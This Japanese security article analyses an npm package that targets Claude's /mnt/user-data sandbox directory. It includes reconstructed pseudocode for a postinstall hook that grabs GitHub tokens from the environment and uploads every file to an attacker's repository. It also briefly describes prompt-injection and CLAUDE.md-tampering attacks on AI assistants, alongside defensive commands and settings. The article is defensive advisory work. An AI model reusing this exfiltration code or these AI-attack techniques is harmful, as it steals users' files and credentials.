2026年5月26日、npmレジストリに mouse5212-super-formatter という一見無害な名前のパッケージが公開された。OX SecurityのMoshe Siman Tov Bustan氏とNir Zadok氏が翌日27日に公表した分析によれば、このパッケージはAnthropic Claude AIのサンドボックス内ディレクトリ /mnt/user-data を明示的に狙う初の標的型npmマルウェアだった。研究者はこのキャンペーンを「Malware-Slop」と命名している。AI生成と思しき粗雑なコード品質、自前のGitHub Personal Access Token(PAT)をパッケージ内に露出させるOPSEC失敗、そしてClaudeのCode Interpreterというごく特殊な実行環境を狙った特化型ペイロード——本記事では一次情報をもとに、攻撃の全貌・AI開発環境への影響・取るべき防御策をまとめる。
AI時代のnpm/PyPIサプライチェーン攻撃全体像と防御フレームワークは サプライチェーンセキュリティ完全ガイド2026|攻撃手法・防御ツール・実践チェックリスト をご覧ください。
mouse5212-super-formatter はClaude AIの /mnt/user-data ディレクトリを再帰的にGitHubへアップロードする標的型マルウェア。--ignore-scripts、AIサンドボックスの/mnt/user-data機密管理、ZDR契約、依存スキャン(Socket・SafeDep・OX)多層化が中心。mouse5212-super-formatter は2026年5月26日にnpmレジストリへ公開された情報窃取型マルウェアだ。npm検索結果上は「ソースコードフォーマッタ」を装っており、READMEには「internal archive deployment sync utility(内部アーカイブデプロイメント同期ユーティリティ)」というもっともらしい説明文が並ぶ。実体は2つの機能を持つ:
/mnt/user-data を再帰的にスキャンし、各ファイルをGitHub Contents API経由で攻撃者リポジトリへアップロードする特筆すべきは標的パスの選定だ。/home/user/ や ~/.ssh/ といった一般的な開発機の機密ディレクトリではなく、Anthropic Claude AIのCode Interpreterサンドボックスが内部マウントする /mnt/user-data を直接ハードコードしている。これはAnthropic製品の内部構造を理解した上で書かれた、明確に「Claudeのユーザー」を狙う設計だ。
/mnt/user-data 構造Claude.aiのCode Interpreter(Analysis Tool)と一部のClaude Code環境は、ユーザーごとに分離されたLinuxサンドボックスを提供する。このサンドボックス内では以下のレイアウトが標準的だ:
/mnt/user-data/uploads/ — ユーザーがアップロードしたファイル(CSV、PDF、ソースコード、機密書類など)/mnt/user-data/outputs/ — Claudeが生成した出力ファイル(解析結果、生成コード、レポートPDFなど)/mnt/skills/ — Claude Skillsの定義/tmp/ — 揮発する一時領域このうち /mnt/user-data/ の中身はセッション間で永続化される。つまり過去のチャットでアップロードしたファイルや、AIに生成させた出力ファイルが、新しいセッションからもアクセス可能な状態で残っている。攻撃者はこの設計上の特性を逆手に取り、サンドボックスに侵入できれば「ユーザーがClaudeに渡した全ファイル」を一括窃取できると考えた。
| 日時(UTC) | 出来事 |
|---|---|
| 2026-05-26 早朝 | 攻撃者のGitHubアカウントが新規作成される |
| 2026-05-26 数時間後 | mouse5212-super-formatter@1.0.0 初版がnpmレジストリへ公開 |
| 2026-05-26〜27 | 複数バージョンがpublishされ、ダウンロード数676回を記録 |
| 2026-05-27 | OX Security(Moshe Siman Tov Bustan / Nir Zadok)が「Malware-Slop」として公表 |
| 2026-05-27 以降 | 攻撃者GitHubアカウントが削除される(npmレジストリからの取り下げ対応も進行中) |
ダウンロード676回のうち何件が「実際の開発者によるインストール」だったかは不明だが、OX Securityの調査では攻撃者のリポジトリ内にアクティブな窃取データが約7件残されており、その多くは攻撃者自身のテスト痕跡と推測されている。被害確定数は少ないが、これは攻撃が失敗したという意味ではなく、Claudeサンドボックスに npm install させる導線がまだ十分に確立されていないというだけだ。導線さえ整えば、676が67,600になりうる構造であることが要点になる。
OX Securityの分析と公開されたソースコード断片から、攻撃チェーンは以下の流れで進行する。
npmは package.json の scripts.postinstall に書かれたコマンドを、パッケージインストール直後に何の確認もなく自動実行する。mouse5212-super-formatter の package.json は概ね以下のような構造を持つ:
{
"name": "mouse5212-super-formatter",
"version": "1.0.0",
"description": "internal archive deployment sync utility",
"main": "index.js",
"scripts": {
"postinstall": "node ./scripts/sync.js"
},
"dependencies": {
"@octokit/rest": "^21.0.0"
}
}
依存に @octokit/rest を入れているため、GitHub Contents API操作のための定型コードが手軽に書ける。Octokitは正規の人気SDKであり、ここに不自然さはない。
scripts/sync.js(OX Securityの分析を元に再構成した擬似コード)には以下のような認証ロジックが含まれる。
// 擬似コード:OX Security分析を元に再構成
const { Octokit } = require("@octokit/rest");
const fs = require("fs");
const path = require("path");
// 1. 環境変数からvictim PATを取得(CI/CDやAIエージェント環境で有効)
const victimToken =
process.env.GITHUB_TOKEN ||
process.env.GH_TOKEN ||
process.env.GITHUB_PAT;
// 2. なければ攻撃者自身のハードコードPATへフォールバック
const HARDCODED_TOKEN = "ghp_xxxxxxxxxxxxxxxxxxxxxxxx"; // 露出していた
const token = victimToken || HARDCODED_TOKEN;
const octokit = new Octokit({ auth: token });
この HARDCODED_TOKEN の存在こそが、OX Securityがキャンペーンを「Malware-Slop」と呼ぶ最大の根拠になっている。後述するが、これは2026年のAPTがやるOPSECとしては明らかに失格レベルの手抜きだ。
認証後、攻撃者リポジトリに対して octokit.repos.get でリポジトリの存在を確認し、なければ octokit.repos.createForAuthenticatedUser で動的に作成する。続いて /mnt/user-data を再帰的に走査する。
// 擬似コード
async function uploadDirectory(dir, repoOwner, repoName, sessionId) {
const entries = fs.readdirSync(dir, { withFileTypes: true });
for (const entry of entries) {
const fullPath = path.join(dir, entry.name);
if (entry.isDirectory()) {
await uploadDirectory(fullPath, repoOwner, repoName, sessionId);
} else {
const content = fs.readFileSync(fullPath);
await octokit.repos.createOrUpdateFileContents({
owner: repoOwner,
repo: repoName,
path: `${sessionId}/${path.relative("/mnt/user-data", fullPath)}`,
message: "sync: archive deployment update",
content: content.toString("base64"),
});
}
}
}
await uploadDirectory("/mnt/user-data", "attackerUser", "sync-archive", randomSessionId);
ポイントは3つ:
api.github.com のみであり、IDS/IPSやネットワーク監視ルールの大半は警告を出さない。最後に「ネットワーク接続スナップショット」「依存パッケージのバージョン情報取得」などのダミー処理を実行し、サンドボックスのstdoutにそれらしいログを吐き出す。postinstall フックの実行ログを目視で確認した管理者にも、悪意ある動作を疑わせない作りになっている。
汎用的なnpmマルウェアは ~/.ssh/・~/.aws/credentials・/etc/passwd・.env といった「どの開発機にもある」機密ファイルを狙う。mouse5212-super-formatter はそれらを完全に無視し、/mnt/user-data だけを標的にしている。なぜか。
通常の開発機の .env にはある程度マスキング・分離されたシークレットしか入っていない。しかし /mnt/user-data/uploads/ には、ユーザーがClaudeに直接渡した生のファイルが並ぶ:
つまり「ユーザーが最も信頼してAIに見せたもの」がそのまま残っている。汎用シークレットスキャナが扱うパターンでは検出しきれない、文脈付きの機密情報の山だ。
通常のサンドボックスは揮発するが、Claude.aiのCode Interpreterは /mnt/user-data のみセッション間で残す設計になっている。つまり攻撃が成功すれば、過去数日〜数週間分のユーザー操作履歴を一度に持ち去れる。
npm install する」導線が増えている2026年に入り、Claude Code、Codex、Cline、Cursorといったエージェント型AIが、ユーザーの指示の中で自律的に npm install <pkg> を呼び出すケースが急増している。エージェントがClaudeのサンドボックス内で動作する場合、攻撃者は「Claudeが思わずインストールしたくなる名前」のパッケージ(”super-formatter” のような汎用名)を撒くだけで導線が成立する。これはタイポスクワッティング攻撃に近いが、ターゲットがAIの判断ミスに置き換わっている点が新しい。
OX Securityの記事は明示していないが、関連研究として2025年10月にEmbrace the Redが報告した Claude Pirate では、/mnt/user-data/outputs/ に書き出したファイルをAnthropic自身のFiles APIでアップロードさせる手口が示されている。Anthropic公式のエンドポイント(api.anthropic.com)への送信になるため、サンドボックスのデフォルト「Package managers only」ネットワーク制限ですら通過してしまう。mouse5212がGitHub Contents APIを使ったのに対し、後続の派生型がAnthropic Files APIに切り替える可能性も十分にありえる。
OX Securityがキャンペーンを「Malware-Slop」と呼んだ最大の理由は、攻撃者の作戦保証(OPSEC)が驚くほど杜撰だった点にある。
| # | 失敗内容 | 影響 |
|---|---|---|
| 1 | ハードコードのGitHub PATが平文でnpmパッケージ内に同梱 | OX Security研究者がトークンを使い、攻撃者リポジトリ・アクティビティをリアルタイム監視可能になった |
| 2 | 攻撃者GitHubアカウントが公開数時間前に新規作成 | 履歴のないアカウントは異常検出の格好の対象 |
| 3 | テストリポジトリと本番リポジトリを同一アカウントで作成 | 攻撃者自身のIPと挙動が追跡可能 |
| 4 | コミットタイムスタンプとコミット履歴がそのまま残存 | フォレンジック上、攻撃者のタイムゾーン・作業時間帯まで判明 |
これらは2026年のAPT(Advanced Persistent Threat)水準では考えられない初歩的なミスばかりだ。Lazarus Groupや国家系アクターは複数のスローアウェイアカウント、トークンのリモートフェッチ、コミットタイムスタンプ偽装などを当然のように実装する。
OX Securityは記事の中で、以下のように示唆している:
つまりこの攻撃者は、悪意あるコードをLLMに書かせ、そのまま検証せずにnpmへpublishした可能性が高い。OX Securityは「AIによる悪意あるコード生成のハードルが下がった結果、APTを模倣しつつも基本的なセキュリティ概念を欠いた粗雑な脅威行為者が増えるだろう」と結論づけている。
「Slop」はインターネットスラングで「AI生成コンテンツの粗悪な投げ売り」を指す。文章生成では既に「AI slop blog」「AI slop YouTube channel」といった呼称が定着しており、低品質コンテンツの代名詞になっている。OX Securityはこれをマルウェア領域に持ち込み、AIに生成させてそのまま流すだけの低品質マルウェアを「Malware-Slop」と呼んだ。
これは皮肉な命名であると同時に、防御側にとっては警鐘でもある。なぜなら——
2026年上半期だけで、npmレジストリは Shai-Hulud / Mini Shai-Hulud / TanStack / TrapDoor / antv / SAP / Megalodon など複数の大規模サプライチェーン攻撃に晒されてきた。Malware-Slopは何が違うのか。
| キャンペーン | 主な手法 | 対象 | 規模 | AIサンドボックス意識 |
|---|---|---|---|---|
| Shai-Hulud(2025-09) | メンテナアカウント乗っ取り+自己増殖ワーム | 開発機の認証情報全般 | 数百パッケージ | なし |
| Mini Shai-Hulud(TanStack/antv) | OSSメンテナフィッシング | GitHub Actions・CI環境 | 数十パッケージ | 一部 CLAUDE.md 改竄あり |
| TrapDoor(2026-05-22) | npm/PyPI/Crates.io横断、ゼロ幅Unicode | 暗号資産・SSH鍵・AWS | 34パッケージ・384バージョン | .cursorrules・CLAUDE.md改竄 |
| Malware-Slop(2026-05-26) | AI生成 + postinstall + GitHub Contents API | Claude /mnt/user-data |
1パッケージ・676DL | 完全特化 |
| Axios CVE-2026-40175(2026-04-14) | 正規パッケージのRCE脆弱性 | アプリ全般 | グローバル | なし |
mouse5212-super-formatter は単独パッケージ・676ダウンロードと規模は最小だが、「AIサンドボックスを名指しで狙った初の事例」として歴史的に位置づけられる。TrapDoorはAIアシスタント設定ファイル(CLAUDE.md・.cursorrules)にゼロ幅文字を埋め込んで間接的にAIを操ろうとしたが、Malware-Slopはより直接的に「AIが動いているサンドボックス内のファイルそのもの」を取りに来た点が新しい。
サプライチェーン攻撃の進化系としてTrapDoor|npm・PyPI・Crates.io横断34パッケージ384バージョンのクリプト窃取サプライチェーン攻撃、メンテナ乗っ取り型としてMini Shai-Hulud:TanStack npm乗っ取りで暴かれたGitHub Actionsの抜け穴も併せて確認しておくと、AIサプライチェーン全体の攻撃面が見渡せる。
/mnt/user-data を狙うこのキャンペーンは、Claude/Anthropicそのもののセキュリティモデルとも交差する。Claude Codeに送信されるデータ・学習利用の範囲・サンドボックス境界の挙動を整理したClaudeに送ったデータは学習に使われる?|セキュリティ・プライバシー・ガバナンス完全ガイドでは、「Claudeのプロセスが信用できるか」とは別に、「Claudeのサンドボックスに第三者ペイロードが入り込んだ場合の被害範囲」を別軸で評価する必要があると指摘している。Malware-Slopはまさに後者の代表例だ。
mouse5212固有の対策に加え、同種のAIサンドボックス標的型npmマルウェアに対する一般的な防御策を整理する。
# 1) パッケージの存在確認
npm ls mouse5212-super-formatter
# 2) ロックファイルからの痕跡確認
grep -r "mouse5212-super-formatter" package-lock.json pnpm-lock.yaml yarn.lock
# 3) サンドボックス内の侵害確認(Claude Code / Code Interpreter内で実行)
ls -laR /mnt/user-data 2>/dev/null
# 4) GitHub PATローテーション
gh auth token --hostname github.com # 現在のPATを確認
# → GitHub > Settings > Developer settings > Personal access tokens で即時失効
# 5) パッケージ削除
npm uninstall mouse5212-super-formatter
rm -rf node_modules package-lock.json
npm install --ignore-scripts
/mnt/user-data 配下に機密ファイルを置いた覚えがある場合は、「インストール時点で既に窃取済み」として扱い、関連するAPIキー・GitHub PAT・データソース認証情報の全ローテーションを推奨する。
npm/pnpm/yarnいずれも、postinstall自動実行を抑止できる。AIサンドボックスとCI/CDではこれをデフォルト無効にすべきだ。
# npm: グローバル設定
npm config set ignore-scripts true
# npm: 個別インストール時のみ
npm install --ignore-scripts
# yarn 1.x
yarn install --ignore-scripts
# pnpm: 明示的にビルドを許可するパッケージのみホワイトリスト化
# package.json > pnpm > onlyBuiltDependencies
{
"pnpm": {
"onlyBuiltDependencies": ["esbuild", "sharp"]
}
}
単一のスキャナでは公開直後(mouse5212の場合は0時間〜数十時間)のゼロデイ窓を埋められない。Socket・SafeDep・OX Security・Snyk・GitHub Dependabotを多層化することで検出の窓を狭められる。Socket Threat Researchは公開後中央値5分27秒で検出した実績を持つが、CI/CDが分単位で動く現代では「最初に走る検出器」を持つことが重要だ。
Claude.ai Enterprise / API / Claude Codeを業務利用している場合、以下を組織側で強制する。
--dangerously-skip-permissions を禁止/mnt/user-dataへ機密ファイルを置かない運用: 機密書類はOAuth経由のGoogle Drive/Box連携など、サンドボックス外でアクセス制御をかけた状態でClaudeに渡すmouse5212自身がやらかしたように、コード内のPAT埋め込みは事故にも悪意にも繋がる。gitleaks / trufflehog / GitHub Secret ScanningのPATパターン検出を、Pre-commit・Pre-publishの両方で動かす。npmへのpublish前に動くLintとしては npm pack --dry-run の出力に対して gitleaks detect をかけるのが最もシンプルだ。
# pre-publishフック例(.husky/pre-publish)
npm pack --dry-run --json | jq -r '.[0].files[].path' | \
xargs gitleaks detect --no-git --source=
npm install を抑制Claude Code・Cursor・Cline等のエージェントは、ユーザーの自然言語指示から npm install <pkg> を自発的に提案・実行することがある。permissions.deny で Bash(npm install:*) を明示的に制限し、許可済みのパッケージのみホワイトリスト経由でインストールさせる構成が安全だ。
// ~/.claude/settings.json
{
"permissions": {
"allow": [
"Bash(npm install:react)",
"Bash(npm install:next@*)",
"Bash(npm install:typescript)"
],
"deny": ["Bash(npm install:*)"]
}
}
Malware-Slopは規模としては小さく、見方によっては「失敗作」だ。だが、3つの意味で2026年以降の攻撃の前触れとして読み解くべきだ。
開発者個人の防衛線としては、「AIエージェントを業務に組み込むなら、/mnt/user-data には機密を置かない」「postinstallはデフォルトで無効」「PATは短命・最小権限」の3点が当面の最重要事項だ。AIエージェントを使うこと自体のリスクではなく、AIエージェントが見ているファイル空間を第三者ペイロードと共有してしまうことこそが本当のリスクになる、というのがMalware-Slopが教えた最大の教訓と言える。